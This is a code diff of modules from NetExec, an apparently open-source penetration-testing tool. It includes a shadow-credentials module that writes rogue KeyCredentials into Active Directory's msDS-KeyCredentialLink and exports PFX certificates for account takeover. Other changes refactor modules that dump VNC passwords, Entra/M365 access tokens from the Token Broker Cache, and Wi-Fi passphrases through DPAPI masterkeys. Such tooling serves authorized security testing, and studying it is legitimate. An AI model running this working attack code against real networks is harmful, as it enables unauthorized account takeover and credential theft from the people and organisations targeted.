KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())),
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Could not parse an existing KeyCredential: {e}")
|
||||
return credentials
|
||||
|
||||
def get_credential(self, credentials):
|
||||
for raw_value, credential in credentials:
|
||||
if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id.lower():
|
||||
return raw_value, credential
|
||||
self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}")
|
||||
return None
|
||||
|
||||
def list(self, credentials):
|
||||
if not credentials:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}")
|
||||
for _, credential in credentials:
|
||||
self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else '<missing>'} | Creation time: {credential.CreationTime}")
|
||||
|
||||
def add(self, target_dn, is_computer):
|
||||
try:
|
||||
certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365)
|
||||
credential = KeyCredential.fromX509Certificate2(
|
||||
certificate=certificate,
|
||||
deviceId=Guid(),
|
||||
owner=target_dn,
|
||||
currentTime=DateTime(),
|
||||
isComputerKey=is_computer,
|
||||
)
|
||||
device_id = credential.DeviceId.toFormatD().lower()
|
||||
ldap_value = credential.toDNWithBinary().toString()
|
||||
output_path = self.write_pfx(certificate, device_id)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
# Add one value instead of replacing the complete multi-valued attribute.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to add the KeyCredential: {e}")
|
||||
self.context.log.display(f"Generated PFX retained at {output_path}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}")
|
||||
self.context.log.highlight(f"PFX: {output_path}")
|
||||
|
||||
def write_pfx(self, certificate, device_id):
|
||||
output_dir = Path(NXC_PATH) / "modules" / "shadow-creds"
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx"
|
||||
|
||||
output_path.write_bytes(
|
||||
serialize_key_and_certificates(
|
||||
name=self.target.encode("utf-8"),
|
||||
key=certificate.key.to_cryptography_key(),
|
||||
cert=certificate.certificate.to_cryptography(),
|
||||
cas=None,
|
||||
encryption_algorithm=NoEncryption(),
|
||||
)
|
||||
)
|
||||
return output_path
|
||||
|
||||
def info(self, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
_, credential = result
|
||||
self.context.log.success(f"KeyCredential {self.device_id} on {self.target}")
|
||||
for name, value in {
|
||||
"Owner": credential.Owner,
|
||||
"Device ID": credential.DeviceId.toFormatD().lower(),
|
||||
"Version": hex(credential.Version.value),
|
||||
"Key ID": credential.Identifier,
|
||||
"Key hash": credential.KeyHash.hex(),
|
||||
"Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"),
|
||||
" Exponent (E)": credential.RawKeyMaterial.exponent,
|
||||
" Modulus (N)": hex(credential.RawKeyMaterial.modulus),
|
||||
" Prime 1 (P)": hex(credential.RawKeyMaterial.prime1),
|
||||
" Prime 2 (Q)": hex(credential.RawKeyMaterial.prime2),
|
||||
"Usage": credential.Usage,
|
||||
"Legacy usage": credential.LegacyUsage,
|
||||
"Source": credential.Source,
|
||||
"Custom key info": credential.CustomKeyInfo,
|
||||
**{f" {key}": custom_value for key, custom_value in credential.CustomKeyInfo.items()},
|
||||
"Last logon time": credential.LastLogonTime,
|
||||
"Creation time": credential.CreationTime,
|
||||
}.items():
|
||||
self.context.log.highlight(f"{name:<17} {value}")
|
||||
|
||||
def remove(self, target_dn, credentials):
|
||||
result = self.get_credential(credentials)
|
||||
if result is None:
|
||||
return
|
||||
|
||||
raw_value, _ = result
|
||||
try:
|
||||
# Delete the exact raw value so neighboring credentials remain untouched.
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to remove the KeyCredential: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}")
|
||||
|
||||
def clear(self, target_dn, raw_values):
|
||||
if not raw_values:
|
||||
self.context.log.display(f"No KeyCredentials found on {self.target}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [])]})
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to clear KeyCredentials: {e}")
|
||||
return
|
||||
|
||||
self.context.log.success(f"Cleared all KeyCredentials from {self.target}")
|
||||
|
||||
def backup(self, raw_values):
|
||||
output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json"
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
output_path.write_text(json.dumps({"keyCredentials": raw_values}, indent=4), encoding="utf-8")
|
||||
self.context.log.success(f"Backed up {len(raw_values)} KeyCredential(s) from {self.target} to {output_path}")
|
||||
|
||||
def revert(self, target_dn):
|
||||
try:
|
||||
key_credentials = []
|
||||
for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]:
|
||||
if not isinstance(key_credential, (dict, str)):
|
||||
raise ValueError("keyCredentials entries must be objects or strings")
|
||||
key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]})
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
|
||||
return
|
||||
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
|
||||
@@ -127,6 +127,8 @@ class SMBSpiderPlus:
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
|
||||
elif "STATUS_NO_SUCH_FILE" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} is empty.")
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
except NetBIOSTimeout as e:
|
||||
@@ -327,7 +329,7 @@ class SMBSpiderPlus:
|
||||
download_success = True
|
||||
except SessionError as e:
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
pass
|
||||
self.logger.debug(f"Sharing violation while downloading file: {file_path}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}')
|
||||
|
||||
|
||||
+14
-28
@@ -1,6 +1,6 @@
|
||||
# https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
|
||||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.dcerpc.v5 import epm
|
||||
from impacket.dcerpc.v5.rpch import (
|
||||
RPC_PROXY_INVALID_RPC_PORT_ERR,
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR,
|
||||
@@ -9,11 +9,7 @@ from impacket.dcerpc.v5.rpch import (
|
||||
)
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -41,21 +37,20 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
entries = []
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.__stringbinding = KNOWN_PROTOCOLS[self.port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
if connection.kerberos:
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
use_tcp = self.port == 135
|
||||
try:
|
||||
entries = self.__fetch_list(connection.kerberos, rpctransport)
|
||||
rpc = NXCRPCConnection(connection, force_tcp=use_tcp)
|
||||
if use_tcp:
|
||||
rpc.rpc_transport = rpc.create_tcp_transport(target_ip=connection.host)
|
||||
else:
|
||||
rpc.rpc_transport = rpc.create_smb_transport(r"\epmapper")
|
||||
dce = rpc.rpc_transport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
entries = list(epm.hept_lookup(None, dce=dce))
|
||||
dce.disconnect()
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.critical(error_text)
|
||||
@@ -112,12 +107,3 @@ class NXCModule:
|
||||
context.log.debug(f"[Spooler] Received {num} endpoints")
|
||||
else:
|
||||
context.log.debug("[Spooler] No endpoints found")
|
||||
|
||||
def __fetch_list(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
@@ -97,7 +97,7 @@ class NXCModule:
|
||||
if ready:
|
||||
reply = sock.recvfrom(120)[0]
|
||||
|
||||
# Extract RID, hash and "salt" if succesful.
|
||||
# Extract RID, hash and "salt" if successful.
|
||||
if len(reply) == 68:
|
||||
salt = reply[:48]
|
||||
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
|
||||
|
||||
@@ -95,7 +95,7 @@ class NXCModule:
|
||||
logfile = Path(NXC_PATH).joinpath(logfile)
|
||||
|
||||
self.context.log.info(f"Creating log file '{logfile}'")
|
||||
self.log_file = open(logfile, "w") # noqa: SIM115
|
||||
self.log_file = open(logfile, "w") # ruff: ignore[open-file-with-context-handler]
|
||||
self.append_to_log("User:", "Description:")
|
||||
|
||||
def delete_log_file(self):
|
||||
|
||||
+41
-102
@@ -1,18 +1,14 @@
|
||||
import ntpath
|
||||
import tempfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket import winregistry
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.system_errors import ERROR_NO_MORE_ITEMS
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
|
||||
from Cryptodome.Cipher import DES
|
||||
from binascii import unhexlify
|
||||
import codecs
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -23,7 +19,7 @@ class NXCModule:
|
||||
|
||||
name = "vnc"
|
||||
description = "Loot Passwords from VNC server and client configurations"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -49,79 +45,40 @@ class NXCModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = self.connection.args.share
|
||||
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
|
||||
|
||||
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
|
||||
if not self.no_remoteops:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops.enableRegistry()
|
||||
self.vnc_from_registry(remote_ops)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
|
||||
self.vnc_from_registry(dploot_conn)
|
||||
self.vnc_client_proxyconf_extract(dploot_conn)
|
||||
self.vnc_from_filesystem(dploot_conn)
|
||||
|
||||
def reg_query_value(self, remote_ops, path, key, hku=False):
|
||||
if remote_ops._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
path,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
data = None
|
||||
try:
|
||||
_, data = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
key,
|
||||
)
|
||||
return data
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
|
||||
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
|
||||
def vnc_client_proxyconf_extract(self, dploot_conn):
|
||||
vnc_client_softwares = [
|
||||
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
|
||||
]
|
||||
users = self.get_users(remote_ops)
|
||||
users = self.get_users(dploot_conn)
|
||||
if dploot_conn.target.protocol != "smb":
|
||||
self.context.log.warn("Downloading NTUSER.DAT for offline users, will be slow")
|
||||
for user, sid in users.items():
|
||||
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
|
||||
try:
|
||||
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
|
||||
ntuser_dat_bytes = dploot_conn.read_file(share=self.share, path=ntuser_dat_path)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
|
||||
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
|
||||
cred = {}
|
||||
if ntuser_dat_bytes is None and remote_ops is not None:
|
||||
if ntuser_dat_bytes is None:
|
||||
user_registry_path = ntpath.join(sid, registry_path)
|
||||
try:
|
||||
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
|
||||
password = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[1])
|
||||
if password is None:
|
||||
continue
|
||||
password = password.encode().rstrip(b"\x00").decode()
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
|
||||
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
|
||||
cred["server"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[2])
|
||||
cred["user"] = dploot_conn.reg_get_key_value("HKU", user_registry_path, registry_keys[0])
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
|
||||
@@ -139,9 +96,9 @@ class NXCModule:
|
||||
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
|
||||
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
|
||||
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def vnc_from_registry(self, remote_ops):
|
||||
def vnc_from_registry(self, dpapi_conn):
|
||||
vncs = (
|
||||
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
|
||||
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
|
||||
@@ -152,10 +109,12 @@ class NXCModule:
|
||||
)
|
||||
for vnc_name, path, key in vncs:
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, key)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, key)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.debug(f"Could not find {path}\\{key}, likely not installed: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Error while RegQueryValue {path}\\{key}: {e}")
|
||||
continue
|
||||
if value is None:
|
||||
continue
|
||||
@@ -163,7 +122,7 @@ class NXCModule:
|
||||
password = self.recover_vncpassword(value)
|
||||
if password is None:
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
vnc_users = (
|
||||
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
|
||||
@@ -171,7 +130,10 @@ class NXCModule:
|
||||
for vnc_name, path, user, password, server in vnc_users:
|
||||
cred = {}
|
||||
try:
|
||||
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
|
||||
value = dpapi_conn.reg_get_key_value("HKLM", path, password)
|
||||
if value is None:
|
||||
continue
|
||||
value = value.encode().rstrip(b"\x00").decode()
|
||||
value = unhexlify(value)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
@@ -181,13 +143,13 @@ class NXCModule:
|
||||
continue
|
||||
cred["password"] = self.recover_vncpassword(value).decode()
|
||||
try:
|
||||
cred["server"] = self.reg_query_value(remote_ops, path, server)
|
||||
cred["user"] = self.reg_query_value(remote_ops, path, user)
|
||||
cred["server"] = dpapi_conn.reg_get_key_value("HKLM", path, server)
|
||||
cred["user"] = dpapi_conn.reg_get_key_value("HKLM", path, user)
|
||||
except Exception as e:
|
||||
if "ERROR_FILE_NOT_FOUND" not in str(e):
|
||||
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
|
||||
continue
|
||||
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log)
|
||||
|
||||
def split_len(self, seq, length):
|
||||
return [seq[i:i + length] for i in range(0, len(seq), length)]
|
||||
@@ -230,8 +192,8 @@ class NXCModule:
|
||||
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
|
||||
)
|
||||
|
||||
for vnc_name, file in vncs:
|
||||
file_content = dploot_conn.readFile(self.share, file)
|
||||
for vnc_name, filepath in vncs:
|
||||
file_content = dploot_conn.read_file(share=self.share, path=filepath)
|
||||
if file_content is not None:
|
||||
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
|
||||
for regex in regex_passwd:
|
||||
@@ -239,39 +201,16 @@ class NXCModule:
|
||||
for passwd_encrypted in passwds_encrypted:
|
||||
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
|
||||
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
|
||||
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
|
||||
self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = {}
|
||||
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
|
||||
|
||||
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
|
||||
sids = []
|
||||
|
||||
i = 0
|
||||
while True:
|
||||
try:
|
||||
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
|
||||
sids.append(ans2["lpNameOut"])
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
|
||||
break
|
||||
except Exception as e:
|
||||
self.context.debug(f"Error while listing users from HKU: {e}")
|
||||
i += 1
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
for sid in sids:
|
||||
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
|
||||
keyHandle = ans["phkResult"]
|
||||
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
|
||||
if r"%systemroot%" in profile_path:
|
||||
for sid in conn.reg_enum_key("HKLM", userlist_key):
|
||||
profile_path = conn.reg_get_key_value("HKLM", f"{userlist_key}\\{sid}", "ProfileImagePath")
|
||||
if "C:\\Users" not in profile_path:
|
||||
continue
|
||||
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
|
||||
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
|
||||
users[ntpath.basename(profile_path).rstrip("\0")] = sid.rstrip("\0")
|
||||
|
||||
return users
|
||||
+5
-32
@@ -1,54 +1,27 @@
|
||||
import re
|
||||
import jwt
|
||||
from dploot.triage.wam import WamTriage
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wam"
|
||||
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
context.log.success("Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
@@ -58,10 +31,10 @@ class NXCModule:
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+10
-35
@@ -1,54 +1,29 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
context.log.success("Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
@@ -57,16 +32,16 @@ class NXCModule:
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
